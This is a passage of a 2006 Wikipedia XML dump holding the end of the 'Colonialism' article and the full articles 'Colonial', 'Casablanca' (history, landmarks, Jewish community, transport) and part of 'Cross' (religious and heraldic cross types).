Colonialism is historically a natural phase in the development of nations. Most nation states have gone through a phase of expansion. The large-scale European colonialism of the nineteenth century was encouraged by the industrial revolution and inter-state rivalry. It was however in essence no different from the colonial expansion of the [[Roman]] and [[Islamic conquests|Islamic]] [[empire]]s in the ancient world, [[Russia]] during the eighteenth and nineteenth centuries, and [[China]] during the seventeenth and eighteenth centuries.

The world would have been very different socio-politically, and economically, had it not been for modern colonialism. It laid the foundation for the majority of modern countries and economies. 

[[Dependency theory|Dependency theorists]] such as [[Andre Gunder Frank]], on the other hand, argue that colonialism actually leads to the net transfer of wealth from the colonized to the colonizer, and inhibits successful economic development.

Critics of colonialism such as [[Frantz Fanon]] and [[Aime Cesaire]] argue that colonialism does political, psychological, and moral damage to the colonized as well. 

More critically, Indian writer and political activist [[Arundhati Roy]] said that debating the pros and cons of colonialism/[[imperialism]] &quot;is a bit like debating the pros and cons of rape&quot;.

Critics of the alleged abuses of economic and political advantages accruing to developed nations via globalised capitalism have referred to them as '''[[neocolonialism]]''', and see them as a continuation of the domination and [[exploitation]] of ex-colonial countries, merely utilizing different means.

==See also==
*[[Anticolonialism]]
*[[American Empire (term)|American Empire]]
**[[American exceptionalism]]
**[[History of United States continental expansion]]
**[[History of United States overseas expansion]]
*[[Belgian colonial empire]]
*[[British Empire]]
**[[British Empire and Commonwealth Museum]]
*[[Chartered companies]]
*[[Colonial]]
*[[Colonial cinema]]
* [[List of Colonial Territories by country]]
* [[Colonial Exhibitions]]
*[[Colonization]]
**[[Colonization of Africa]]
***[[Arab colonization of North Africa]]
***[[Bantu colonization of Eastern and Southern Africa]]
***[[European colonization of Africa]]
**[[Colonization of Europe]]
***[[Roman colonization of Europe]]
***[[Arab colonization of Spain]]
***[[Soviet colonization of eastern Poland and southern Finland]] &lt;!-- umm what was that? --&gt;
***[[Osmanic colonization of the Balkans]]
***[[Plantations of Ireland]] - British colonisation of [[Ireland]]
***[[German colonization of Eastern Europe]]
**[[European colonization of the Americas]]
***[[British colonization of the Americas]]
***[[Danish colonization of the Americas]]
***[[Dutch colonization of the Americas]]
***[[New Netherland]]
***[[French colonization of the Americas]]
****[[New France]]
***[[Portuguese colonization of the Americas]]
***[[Russian colonization of the Americas]]
***[[Spanish colonization of the Americas]]
****[[Spanish Conquest of Yucatan]]
****[[Conquistador]]
****[[Spanish missions in California]]
****[[New Spain]]
***[[Swedish colonization of the Americas]]
*[[Colony]]
*[[Darién scheme]]
*[[Decolonization]]
*[[Dutch colonial empire]]
**[[Dutch empire]]
**[[Dutch colonization of the Americas]]
*[[Ethnocentrism]]
**[[Lieutenant governor]]
**[[Viceroy of India]]
**[[Crown colony]]
**[[Dominion]]
**[[Imperial Conferences]]
**[[Balfour Declaration 1926]]
**[[Statute of Westminster 1931]]
**[[Commonwealth of Nations]]
***[[Commonwealth Realm]]
***[[Commonwealth Heads of Government Meeting]]
***[[Commonwealth Games]]
*[[French colonial empires]]
*[[List of former German colonies|German Empire]]
*[[Global Empire]]
*[[Human Zoo]]
*[[Independence]]
*[[Italian Empire]]
*[[Imperialism]]
**[[Cultural imperialism]]
**[[Culture of capitalism]]
**[[Media Imperialism]]
**[[Imperialism in Asia]]
**[[The White Man's Burden]]
*[[Indonesian colonization of East Timor]]
*[[Japanese expansionism]]
*[[List of extinct countries, empires, etc.]]
*[[Mercantilism]]
*[[New Imperialism]]
*[[Neo-colonialism]]
**[[New Netherland]]
*[[Portuguese Empire]]
**[[Portugal in the period of discoveries]]
**[[Portuguese colonization of the Americas]]
*[[Protectorate]]
*[[Spanish Empire]]
*[[Israeli occupied territories]] [[Israeli settlement]]/colonies
*[[Biopiracy]] / [[Bioprospecting]]

==References==
{{unreferenced}}

Fanon, Frantz &quot;The wretched of the earth&quot; Pref. by Jean-Paul Sartre. Translated by Constance Farrington. London : Penguin Book, 2001

== External links ==
* [http://lsb.scu.edu/~dklein/papers/PdfPapers/Liberalanti-imperialism.pdf Liberal opposition to colonialism, imperialism and empire (pdf)] - by professor Daniel Klein

{{Colonial Empires}}

[[Category:Colonialism|*]]

[[ca:Colonialisme]]
[[de:Kolonialismus]]
[[fr:Colonialisme]]
[[he:קולוניאליזם]]
[[id:Kolonialisme]]
[[it:Colonialismo]]
[[ja:植民地主義]]
[[sw:Ukoloni]]
[[pl:Kolonializm]]
[[fi:Kolonialismi]]
[[zh:殖民主义]]
[[zh-min-nan:Si̍t-bîn chú-gī]]
[[sv:Kolonialism]]</text>
    </revision>
  </page>
  <page>
    <title>Colonial</title>
    <id>7300</id>
    <revision>
      <id>38255609</id>
      <timestamp>2006-02-05T04:05:17Z</timestamp>
      <contributor>
        <username>RandomCritic</username>
        <id>838239</id>
      </contributor>
      <comment>emended notes on the period to which (American) colonial applies and use of the term</comment>
      <text xml:space="preserve">:''For the [[passenger train]], see [[Colonial (passenger train)]].''
In general, the word '''''colonial''''' means &quot;of or relating to a [[colony]]&quot;.

In [[History of United States|United States history]], the term '''Colonial''' is used to refer to the period of English/British settlement in North America down to the beginning of the [[American Revolution]], i.e. 1607-1775. During the latter part of this period the North American colonists were widely known as &quot;Americans&quot;, both in Great Britain and in the colonies themselves, though at the time this was a geographical rather than a political designation. The term &quot;Colonial&quot; has also been applied to [[architecture]] dating from that period, characterized by a simple, rectangular frame and a sloped roof.  See [[Colonial house]].

In a similar way, in [[Latin American]] history the term refers to the period before independence from [[Spain]].

In [[Australia]], the term refers to the period before the [[Federation of Australia]] in [[1901]]. Before this time, the [[States and territories of Australia|six Australian states]] existed as [[United Kingdom|British]] [[colony|colonies]].

In [[Africa]]n history this term is used for the period between the advent of major European colonies and the independence of most African nations in the 1950s-70s.


[[Category:Colonialism]]
[[ja:コロニアル]]</text>
    </revision>
  </page>
  <page>
    <title>Casablanca</title>
    <id>7301</id>
    <revision>
      <id>42045949</id>
      <timestamp>2006-03-03T12:37:16Z</timestamp>
      <contributor>
        <ip>213.202.74.49</ip>
      </contributor>
      <comment>/* Since independence */ Mediterranean Games</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Casablancanasa.jpg|thumb|Casablanca from space]]

[[Image:Boulevard de Paris, Casablanca.jpg|thumb|A view on the Boulevard de Paris in central Casablanca]]

'''Casablanca''' (classical [[Arabic language|Arabic]] name: '''الدار البيضاء''', [[transliteration|transliterated]] '''{{unicode|ad-Dār al-Bay&amp;#7693;ā&amp;#700;}}''', &quot;the white house&quot;, '''dar beïda''' in dialectal Moroccan Arabic) is a [[city]] in western [[Morocco]], located on the [[Atlantic Ocean]]. 

With a [[population]] of  2.95 [[million]] ([[September 2004]] [[census]]), Casablanca is Morocco's biggest city; also it is the chief [[port]], and is thus considered the economic capital, although Morocco's official [[capital]] and seat of [[government]] is [[Rabat]]. Casablanca is located at {{Coor dm NW|33|32|7|35}}. 

== History ==
*''See also: [[History of Morocco]]''

===Before the French Protectorate===
The area which is today Casablanca was settled by [[Berber|Berbers]] by at least the [[7th century]]. A small independent kingdom, in the area then named [[Anfa]], arose in the area around that time in response to Arab [[Muslim]] rule, and continued  until it was conquered by the [[Almoravid|Almoravids]] in 1068.

During [[14th century]], under the [[Marinid|Marinids]], Anfa rose in importace as a port. In the early [[15th century]], the town became an independent state once again, and emerged as a safe harbour for pirates and privateers, leading to it being targeted by the [[Portugal|Portuguese]], who destroyed the town in 1468.

The Portuguese established a new town in the ruins of Anfa in 1515, which they named ''Casa Branca''.  They eventually abandoned the area in 1755 following an [[earthquake]] which destroyed most of the town. The area was reintegrated into Morocco, under the rule of the then  [[sultan]] [[Mohammed III of Morocco|Sidi Mohammed III]], who renamed the town Casablanca in commemoration of a trade agreement with [[Spain]] in 1781.

In the [[19th century]], the area's population began to grow as Casablanca became a major supplier of wool to the booming textile industry in [[UK|Britain]] and shipping traffic increased (the British, in return, began importing Morocco's now famous national drink, [[gunpowder tea]]). By the 1860s, there were around 4,000 residents, and the population grew to around 9,000 by the late 1880s {{ref|ref1}}. Casablanca remained a modestly-sized port, with a population reaching around 12,000 within a few years of the French conquest and arrival of [[French colonial empires|French colonialists]] in the town, at first administrators within a sovereign sultanate, in [[1906]]. By 1921, this was to rise to 110,000 {{ref|ref2}}, largely through the development of ''[[shanty town|bidonvilles]]''.

===French rule=== 

In June 1907, the French attempted to build a [[light railway]] near the port and passing through a graveyard. Local people attacked the French workers, and riots ensued. French troops were landed in order to restore order, which was achieved only after severe damage to the town. The French then took control of Casablanca. This effectively began the process of colonialisation, although French control of Casablanca was not formalised until 1910.

Casablanca was an important strategic port during [[World War II]] and hosted the [[Casablanca Conference (1943)|Anglo-American Summit]] in [[1943]], in which [[Winston Churchill|Churchill]] and [[Franklin D Roosevelt|Roosevelt]] discussed the progress of the war.

Having had the highest concentration of urban poor in Morocco, including substantial ''[[shanty town|shanty towns]]'', Casablanca has frequently provided a home for social unrest. During the 1940s and 1950s, it was a major centre of anti-French rioting. A terrorist bomb on Christmas Day 1953 caused terrible casualties.

===Since independence===
Morocco gained independence from France on 2nd March 1956.

In [[1958]], Casablanca hosted a round of the [[Formula One]] world championship at the [[Ain-Diab]] circuit. In [[1983]], Casablanca hosted the [[Mediterranean Games]].

The city is now developing a [[tourism]] industry. Casablanca has become the economic and business capital of Morocco, while [[Rabat]] is the political capital.

In March 2000, women's groups organised demonstrations in Casablanca proposing reforms to the legal status of women in the country. 40,000 women attended, calling for a ban on [[polygamy]] and the introdction of [[muslim divorce|divorce law]] (divorce being a purely religious procedure at that time). Although counter-demonstration attracted half a millon participants, the movement for change started in 2000 was influential on [[Mohammed VI of Morocco|King Mohammed VI]], and he enacted a new ''[[Mudawana]]'', or family law, in early 2004, meeting some of the demands of women's rights activists. 

On [[May 16]], [[2003]], 33 civilians were killed and more than 100 people were injured when Casablanca was hit by a [[2003 Casablanca bombings|multiple suicide bomb attack]] carried out by Moroccans and claimed by some to have been linked to [[al-Qaeda]].

== Notable physical landmarks ==
[[Image:Mosque-hassan-II.jpg|thumb|[[Hassan II Mosque]]]]
[[Image:Parc de la Ligue Arabe.jpg|thumb|Parc de la Ligue Arabe]]

The '''French period New Town''' of Casablanca was designed by the French architect [[Henri Prost]] and was a model of a new town at that time. The main streets of the New Town radiate south and east from Place des Nations Unies, where the main market of [[Anfa]] had been. The New Town is possibly the most impressive in Morocco. Former admistrative buildings and present-day hotels populate the area. Their style is a combination of [[Islamic architecture#Moorish Architecture|Hispano-Mauresque]] and [[Art Deco]] styles.

Casablanca is home to the '''[[Hassan II Mosque]]''', designed by the French architect [[Michel Pinceau]]. It is the second largest in the world (after the [[Faisal Mosque|Shah Faisal Mosque]] near [[Islamabad]]). It is sited on a [[promontory]] looking out to the [[Atlantic Ocean|Atlantic]], which can be seen through a gigantic glass floor with room for 25,000 worshippers. A further 80,000 can be accommodated in the mosque's courtyard. Its [[minaret]] is the world's tallest at 210 [[metre|metres]]. 

Work on the mosque was started in 1980, and was intended to be completed for the 60th birthday of former the Moroccan king, [[Hassan II of Morocco|Hassan II]], in 1989. However, the building was not inaugerated until [[1993]]. It is the only mosque in Morocco which is open to non-muslims.

The '''Parc de la Ligue Arabe''' is the city's largest public park. On it's edge is situated the Cathedrale du Sacré Coeur, disused, but a splendid example of ''Mauresque'' architecture.

The '''Old Medina''' (the part of town pre-dating the French [[protectorate]]) attracts fewer tourists than the medinas of other Moroccan towns, such as [[Fes, Morocco|Fez]] and [[Marrakech|Marrakesh]]. However, it has undergone some restoration in recent years. Included in this project have been the western walls of the medina, its ''skala'', or [[bastion]], and its [[Ottoman Empire|Ottoman]]-period clock tower.

The city is served by Anfa Airport and [[Mohammed V International Airport]], and its port is one of the largest artificial ports in the world.

==Jews in Casablanca==
* ''See also: [[History of the Jews in Morocco]]''

There was a [[Sephardi Jews|Sephardic]] [[Judaism|Jewish]] community in [[Anfa]] up to its destruction by the Portuguese in 1468. Jews were slow to return to the town, but by 1750 there seem to have been enough of them to warrant the building of the first [[synagogue]] in Casablanca, the Rabbi Elijah Synagogue, which was destroyed along with much of the town in the [[earthquake]] of 1755.

By the beginning of the 20th century, Casablanca was home to about 6,000 Jews - more than a quarter of the population. Since the beginning of the 20th century, Casablanca has been associated with Judaism more than any other city in [[North Africa]]. The Jewish population snowballed in the mid 20th century, partly because of the attraction of the town as an economic capital, partly because of the development of social support structures for Jewish incomers and partly, after the European [[Holocaust]], because of an increased desire of some Jews for the protection of a large Jewish community.

Between the 1940s and 1960s, the Jewish population of Casablanca was around 70,000. [[Emigration]] to [[France]], [[United States|America]] and [[Israel]] from Casablanca has been substantial since then, however. Large numbers of [[expatriate|expats]] retain Moroccan citizenship and a Moroccan identity. Fewer than 5,000 Jews remain in the city today.

==Transport==
===Trains===
Casablanca is served by two rail stations run by the national rail service, the [[ONCF]]. The main long haul station is '''Gare des Voyageurs''', from which trains run south to [[Marrakech|Marrakesh]] or [[El Jadida]] and north to [[Rabat]], and then on either to [[Tangiers]] or [[Meknes]], [[Fes]] and [[Oujda]]. A dedicated airport shuttle service to [[Mohammed V International Airport]] also has its primary in-city stop at this station, for connections on to further destinations.

The second station, '''Gare du Port''' serves primarily commuter trains running the Casablanca - Rabat corridor, with some connecting trains with running on to Gare des Voyageurs.

===Coaches===
[[CTM]] coaches (intercity buses) and various private lines run services to most notable Moroccan towns as well as a number of European cities. These run from the '''Gare Routière''' on Rue Léon l'Africain in downtown Casablanca

===Planes===
Casablanca's main airport is '''[[Mohammed V International Airport]]''', Morocco's busiest airport. Regular domestic flights serve [[Marrakech|Marrakesh]], [[Agadir]], [[Oujda]], and [[Tangiers]], [[Laayoune]] in the disputed [[Western Sahara]], as well as other cities. 

Casablanca is well served by international flights to Europe, especially [[France|French]] and [[Spain|Spanish]] airports, and has regular connections to [[North Aftrica]]n, [[Middle East]]ern and sub-Saharan [[Africa]]n destinations. [[New York]], [[Dakar]] and [[Dubai]] are important primary destinations.

The older, smaller '''Casablanca Anfa''' airport to the west of the city still serves certain destinations including [[Sydney]], [[Damascus]], and [[Tunis]].

===Taxis===
Registered taxis in Casablanca are coloured red and known as ''petits taxis'', or coloured white and known as ''grands taxis''. As is standard Moroccan practice, ''petits taxis,'' typically small-four door Fiat or similar cars, provide metered cab service in the central metropolitan areas. ''Grands taxis,'' generally older Mercedes sedans, provide shared mini-bus like service within the city on pre-defined routes, or shared inter-city service. Grands Taxis may also be hired for private service by the hour or day, although typically only foreigners do so.

==List of main Casablanca Districts==
*2 Mars
*Ain Diab
*Ain Sebaa
*Anfa
*Belvedere
*Bourgogne
*Centre Ville (City Center)
*Californie
*C.I.L.
*Derb Gallef
*Derb Sultan Al Fida
*El Hank
*Gautier
*Habous
*Hay Hassani
*Hay Moulay Rachid
*La Colline
*Laimoun
*Lissasfa
*Maarif
*Mers Sultan
*Oasis
*Polo
*Racine
*Riviera
*Roches Noires
*Sidi Bernoussi
*Sidi Moumen
*Sidi Maarouf
*Sidi Othman

== References ==
#{{note|ref1}} Pennel, CR: ''Morocco from Empire to Independence'', Oneworld, Oxford, 2003, p 121

#{{note|ref1}} Ibid., p 149

==External links==
{{Commonscat|Casablanca}}
*[http://lexicorient.com/morocco/casablanca.htm Casablanca entry in Lexicorient]
*[http://www.moroccotravelandtours.com/casablancamap.htm Tourist map]
*[http://www.magicmorocco.com/casablanca_morocco.html Casablanca at the Magic Morocco]
*[http://www.casablanca.ma/ Official web site of Casablanca]

[[Category:Cities in Morocco]]
[[Category:Coastal cities]]

[[ar:الدار البيضاء]]
[[ca:Casablanca]]
[[da:Casablanca]]
[[de:Casablanca]]
[[eo:Kazablanko]]
[[es:Casablanca]]
[[fi:Casablanca (kaupunki)]]
[[fr:Casablanca]]
[[he:קזבלנקה]]
[[id:Casablanca]]
[[it:Casablanca]]
[[ja:カサブランカ]]
[[ko:카사블랑카]]
[[lb:Casablanca (Stad)]]
[[lt:Kasablanka]]
[[nl:Casablanca (stad)]]
[[pl:Casablanca (miasto)]]
[[pt:Casablanca]]
[[ru:Касабланка]]
[[sr:Казабланка]]
[[sv:Casablanca]]
[[vi:Casablanca]]
[[zh:卡萨布兰卡]]</text>
    </revision>
  </page>
  <page>
    <title>Cross</title>
    <id>7303</id>
    <revision>
      <id>41668965</id>
      <timestamp>2006-02-28T23:24:25Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: da, no Removing: de, nl, sl</comment>
      <text xml:space="preserve">&lt;table border=&quot;0&quot; width=&quot;200&quot; cellpadding=&quot;6&quot;  cellspacing=&quot;4&quot; align=&quot;right&quot;&gt;&lt;tr&gt;&lt;td&gt;[[Image:Cross.png]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;center&gt;A ''Greek cross'' (all arms of equal length) above a ''[[saltire]]'', a cross rotated by 45 degrees&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
{{otheruses}}
A '''cross''' is a geometrical figure consisting of two lines or bars intersecting each other at a 90° angle, dividing one or two of the lines in half. The lines usually run vertically and horizontally; if they run diagonally, the design is technically termed a [[saltire]].

The cross is one of the most ancient human symbols, and is used by many religions, most notably [[Christianity]]. It is frequently a representation of the division of the world into [[classical element|four elements]] (or [[cardinal directions|cardinal points]]), or alternately as the union of the concepts of [[divinity]], the vertical line, and the [[world]], the horizontal line (Koch, 1955). 

==History==
It is not known when the first cross image was made; after circles, crosses are one of the first symbols drawn by children of all cultures. There are many cross-shaped [[Petroglyph|incisions]] in European cult caves, dating back to the earliest stages of human cultural development in the [[stoneage]]. Like other symbols from this period, their use continued in the [[Celt|Celtic]] cultures in Europe. Other early images of crosses were found in the [[Central Asia]]n steppes, and some were found in [[Altay]]. The cross in the old [[Altaic people|Altaic]] religion called [[Turkic people|Tengriism]] symbolizes the god [[Tengri]]; it wasn't an elongated &quot;dagger&quot; cross, instead resembling a [[plus]] sign (+).

The first Christian books from [[Armenia]] and [[Syria]] contained evidence that the cross originated with horsemen from the east, possibly referring to the first Turkic people{{fact}}. In old Armenian temples, some stylistic Turkic influences are found in cross symbols{{fact}}. Named ''animal'', the symbol was found in the plans of temples, with the pillars from above looking like an additional cross.

== As markings ==
Written crosses are used for many different purposes, particularly in mathematics.

* The [[Roman numeral]] for [[10 (number)|ten]] is [[X]].
* In the [[Latin alphabet]], the letter [[X]] and the miniscule form of [[t]] are crosses.
* The Chinese character for ten is &amp;#21313; (see [[Chinese numerals]]).
* The [[dagger (typography)|dagger]] or ''obelus'' (&amp;dagger;)
* The [[addition]] (or ''plus'') sign (+) and the [[multiplication]] (or ''times'') sign (&amp;times;).
*If ''n''&amp;ge;1 is an [[integer]], the numbers [[coprime]] to ''n'', taken [[modular arithmetic|modulo]] ''n'', form a [[group (mathematics)|group]] with multiplication as operation; it is written as ('''Z'''/''n'''''Z''')&lt;sup&gt;&amp;times;&lt;/sup&gt; or '''Z'''&lt;sub&gt;n&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;. 

A cross is often used as a check mark because it can be clearer, easier to create with an ordinary pen or pencil, and less obscuring of the text or image that is already present than a large dot. It also allows marking a position more accurately than a large dot.

A large cross through a text often means that it is wrong or should be considered deleted.

== As emblems and symbols ==
{| class=&quot;wikitable&quot;
|-
! Cross Name !! Description !! Picture
|-
| | '''[[Ankh]]'''
|
Also known as the '''Key of the Nile''', the '''Looped Tau Cross''', and the '''Ansated Cross'''. It was an [[Ancient Egypt]]ian symbol of [[life]]. Sometimes given a Latin name if it appears in specifically Christian contexts, such as the '''''crux ansata''''' (&quot;handled cross&quot;).
|
[[Image:AnkhSymbol.jpg]]
|-
| | '''[[Christian cross]]'''
|
Also known as the '''Latin cross''' or '''''crux ordinaria'''''. It is the most common symbol of [[Christianity]], intended to represent the redeeming [[martyr]]dom of [[Jesus]] when he is [[crucifixion|crucified]] on the [[True Cross]] in the [[New Testament]].
|
[[Image:Christian cross.svg|150px]]
|-
| | '''Coptic Cross'''
|
A small circle from which emanate four branches of equal length, with angled T shapes in the corner, cross-pieces outward, representing the nails used in Jesus' crucifixion.
|
[[Image:Coptic-Cross-so-called.png]]
|-
| | '''Greek cross'''
|
Also known as the '''''crux immissa quadrata'''''. Has all branches of equal length.
|
[[Image:Greek cross.svg|150px]]
|-
| | '''[[High cross]]'''
|
Free-standing [[Celtic cross]]es in the [[United Kingdom]] and the [[Republic of Ireland]], very common in churches and graveyards.
|
[[Image:Ccross.png|150px]]
|-
| | '''[[Labarum]]'''
|
[[Constantine I of the Roman Empire|Constantine]]'s Labarum is also known as a ''Chrismon'', or [[Christogram|monogram of the name Jesus Christ]]. Several other forms of Chrismons exist.
|
[[Image:Labarum.png|150px]]
|-
| | '''[[Cross of Lorraine|Lorraine Cross]]'''
|
Used in [[heraldry]]. It is similar to a [[patriarchal cross]], but usually has one bar near the bottom and one near the top, rather than having both near the top.
|
[[Image:Cross_of_Lorraine.jpg|150px]]
|-
| | '''[[Nordic Cross]]'''
|
Used in [[vexillology|flags]] descended from the [[Dannebrog]].
|
[[Image:Flag of the Faroe Islands.svg|150px]]
|- 
| | '''[[Papal Cross]]'''
|
Used in [[ecclesiastical heraldry]].
|
[[Image:Papal.gif|150px]]
|- 
| | '''[[Patriarchal cross]]'''
|
Similar to a Christian cross, but with an additional, smaller crossbar above the main one, and sometimes a short, slanted crosspiece near its foot.
|
[[Image:Patriarchal cross.png]]
|-
| | '''[[Red Cross (symbol)|Red Cross]]'''
| 
Used as a symbol for medical care in most of the world, the [[Red Crescent (symbol)|Red Crescent]] being used in Islamic countries and the [[Magen David Adom]] in [[Israel]].
|
[[Image:Flag of the Red Cross.svg|150px]]
|-
| | '''[[Cross of Sacrifice]]'''
|
A Latin cross with a superimposed sword, blade down. It is a symbol used by the [[Commonwealth War Graves Commission]] at the site of many war memorials.
|
[[Image:Cross of Sacrifice.jpg|100px]]
|-
| | '''[[Saint Andrew's Cross]]'''
|
Used in [[Scotland]]'s national flag, it is also called the '''[[Saltire]]''', the '''Boundary Cross''' (because it was used by the Romans as a barrier) and the '''''crux decussata'''''. [[Saint Andrew]] is believed to have suffered a martyr's death on such a cross, hence its name. The cross doesn't have to be at this particular angle to qualify as a saltire; the symbol [[X]] can also be considered a St. Andrew's Cross.
|
[[Image:Flag of Scotland.svg|150px]]
|-
| | '''[[Cross of St. Peter|Saint Peter's Cross]]'''
|
An upside-down Latin cross, based on a tradition that holds that [[Saint Peter]] was martyred by being crucified upside-down. Today it is often associated with anti-Christian or [[Satanism|Satanic]] groups.
|
[[Image:Peter's Cross.svg]]
|-
| | '''[[Skull and crossbones]]'''
|
Not a cross as such, but a saltire made of bones, with an overlaid skull. Traditionally used by [[Freemasons]], and was the battle flag of the [[Knights Templar (Freemason degree)|Knights Templar]] fleet, later [[pirate]]s. It was actually relatively rarely used by pirates, each ship having its own design, often involving an [[hourglass]].
| [[Image:Toxic.png|150px]]
|-
| | '''Slavonic Cross'''
|
Used in the [[Russian Orthodox Church]]. The top line is said to represent the headboard, and the bottom, slanted line is thought to point up to [[Heaven]] and down to [[Hell]]. Some say that the upper side pointing to the right (according to Jesus' view from the Cross) indicates the repentant thief to whom Jesus promised Paradise, and the lower side pointing to the left indicates the thief who mocked Jesus. Others suggest that the bottom line represents the footrest, wrenched loose by Jesus' writhing in intense agony. The letters IC XC found at the end of the main arm of some Slavonic Crosses are a [[Christogram]], representing the name of Jesus Christ.
|
[[Image:Slavcross.gif|150px]]
|-
| | '''[[Sun cross]]'''
|
Also known as the '''Sunwheel''', '''solar cross''' or '''Odin's cross''', because [[Odin]]'s symbol in [[Norse mythology]] was a cross in a circle.
|
[[Image:Simple crossed circle.svg|150px]]
|-
| | '''[[Cross of Tau|Tau Cross]]'''
|
Also known as '''[[Saint Anthony]]'s Cross''', the '''Egyptian Cross''' and the '''''crux commissa'''''. It is shaped like the letter [[T]]. [[Francis of Assisi]] used it as his signature.
|
[[Image:Cross tau.gif|150px]]
|-
| | '''Thieves' Cross'''
|
Also known as the '''Furka Cross'''. The [[fork]], shaped like the letter [[Y]].
|
&lt;!--no picture yet available--&gt;
|}

==In heraldry==
These crosses are ones used exclusively or primarily in [[heraldry]], and do not necessarily have any special meanings commonly associated with them. Crosses that are used in heraldry but also commonly in other contexts are not listed here.

{| class=&quot;wikitable&quot;
|-
! Cross name !! Description !! Picture
|-
| | The cross as '''heraldic &quot;ordinary&quot;'''
|
A simple [[Heraldry|heraldic]] cross (the default if there are no additional specifying words) has arms of roughly equal length, artistically proportioned to the particular shape of the shield, which extend to the edges of the shield.  Illustrated is the [[blazon]] &quot;Azure, a cross Or&quot; (i.e. a gold cross on a blue shield).

A cross which does not extend to the edges of the shield is ''humetty'', in heraldic terminology.
|
[[Image:Azure-Cross-Or-Heraldry-small.png]]
|-
| | '''Cross bottony'''
|
A cross with the ends of the arms bottony (or botonny), i.e. shaped like an architectural [[trefoil]]. It occurs counterchanged on the [[flag of Maryland]].
|
[[Image:Cross-Bottony-Heraldry.png|thumb|150px]]
|-
| | '''Cross crosslet'''
|
A cross with the ends of each arm crossed.
|
[[Image:Cross-Crosslet-Heraldry.png|thumb|150px]]
|-
| | '''Crusaders' cross'''
|
Also known as the '''Jerusalem cross'''. This cross was the symbol of the Crusader Kingdom of Jerusalem, which existed for almost two hundred years after the First Crusade. The four smaller crosses are said to symbolize either the four books of the Gospel or the four directions in which the Word of Christ spread from Jerusalem. Alternately, all five crosses can symbolize the five wounds of Christ during the Passion. This symbol can be seen in the [[2005]] movie ''[[Kingdom of Heaven]]'', and is also used in the [[Flag of Georgia (country)|flag of Georgia]].
|
[[Image:Crusaders.gif|thumb|150px]]
|-
| | '''Cross flory'''
|
A cross with the ends of the arms flory (or fleury), i.e. having a shape somewhat like a [[fleur-de-lys]].
|
[[Image:Cross-Flory-Heraldry.png|thumb|150px]]
|-
| | '''Cross fourchee'''
|
One form of the heraldic cross fourchee (fourchée, fourchy) or cross fourche (meaning &quot;forked&quot;).
|
[[Image:Cross-Fourchee-Heraldry.png|thumb|150px]]
|-
| | '''Jerusalem cross'''
|
A variant of the Crusaders' cross with cross potent.
|
[[Image:Cross-Jerusalem-Potent-Heraldry.png|thumb|150px]]
|-
| | '''[[Maltese Cross (symbol)|Maltese cross]]'''
|
With arms which narrow towards the center, and are indented at the ends. The &quot;eight-pointed cross&quot; (with no curved lines).
|
[[Image:Maltese-Cross-Heraldry.png|thumb|150px]]
|-
| | '''Cross moline'''
|
In a cross moline, the ends of the arms are split and curved back.
|
[[Image:Cross-Moline-Heraldry.png|thumb|150px]]
|-
| | '''Cross patonce'''
|
A cross patonce is more or less intermediate between a cross pattée and a cross flory.
|
[[Image:Cross-Patonce-Heraldry.png|thumb|150px]]
|-
| | '''[[Cross pattée]]'''
|
A cross pattee (pattée, patty) has arms narrowing towards the centre, but with non-indented ends. See the [[cross pattée]] article for discussion of variant forms.  See also [[Iron Cross]].
|
[[Image:Cross-Pattee-Heraldry.png|thumb|150px]]
|-
| | '''Cross pommee'''
|
A cross pommee (pommée, pommy) has a circular knob at the end of each arm.
|
[[Image:Cross-Pommee-Heraldry.png|thumb|150px]]
|-
| | '''Cross potent'''
|
This cross has a crossbar at the end of each of its arms. &quot;Potent&quot; is an old word for a crutch, and is used in heraldic terminology to describe a T shape.
|
[[Image:Cross-Potent-Heraldry.png|thumb|150px]]
|-
| | '''Quadrate'''
|
A cross with a square at the intersection point.
|
[[Image:Quadrate.gif|thumb|150px]]
|-
| | '''Cross triple parted and fretted'''
|
In heraldry, a &quot;cross triple parted and fretted&quot; (or &quot;treble parted and fretted&quot;) is interlaced.  Here, a version which is &quot;Or on an Azure field&quot; (gold on blue) is shown.
|
[[Image:Cross-Triple-Parted-Fretted-Or.png|thumb|150px]]
|-
| | '''Cross voided'''
|
A &quot;cross voided throughout&quot;, also known as the '''Gammadia''', can be seen as a Greek cross with its centre lines removed, or as composed of four angles (L shapes) separated by a thin space.  So the name &quot;gammadia&quot; refers to its being made up of four shapes similar to a capital Greek letter [[gamma]]; the word ''gammadion'' can also refer to a [[swastika]].
|
[[Image:Cross-Voided-small-.png]]
|}

There are numerous other variations on the cross in heraldry. See [[heraldry]] for background information.

See also: [[Anchored Cross]], [[Arrow Cross|Cross barby (barbée)]], [[Fylfot]]

The semi-classic book [http://www.heraldsnet.org/saitou/parker/Jpglossc.htm#Cross &quot;A Glossary of Terms Used in Heraldry&quot; by James Parker (1894)] is online, and contains much information about variants of crosses used in heraldry.

{{heraldry}}

== In flags ==
{{main articles|[[flag terminology]] and [[gallery of flags by design]]}}
Several flags have crosses, including all the nations of [[Scandinavia]], whose crosses are known as [[flag terminology|Scandinavian cross]]es, and many nations in the [[Southern Hemisphere]], which incorporate the [[Crux|Southern Cross]].

==Other noteworthy crosses==
The [[Crux]], or [[Southern Cross]], is a cross-shaped a [[constellation]] in the Southern [[Southern Hemisphere|Hemisphere]].

The tallest cross, at 152.4 meters high, is part of [[Francisco Franco]]'s monumental &quot;Valley of the Fallen&quot;, the ''[[Monumento Nacional de Santa Cruz del Valle de los Caidos]]'' in [[Spain]].

== See also ==
* [[Iron Cross]]
* [[Knights Templar (Freemason degree)|Knights Templar]]
* [[Knights Hospitaller]]
* [[Christianity]]
* [[Freemasonry]]
* [[Seal of the demons]]
* [[Demons and symbols]]
* [[Double cross]]

== References ==
* Koch, Rudolf (1955). ''The Book of Signs''. Dover, NY. ISBN 0486201627.

== External links ==
* [http://encarta.msn.com/encyclopedia_761570847/Cross.html MSN Encarta]
* [http://www.bartleby.com/65/cr/cross.html The Columbia Encyclopedia]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Cross symbols]]
[[Category:Heraldic ordinaries]]

[[ca:Creu]]
[[cs:Kříž]]
[[da:Kors]]
[[el:Σταυρός]]
[[es:Cruz]]
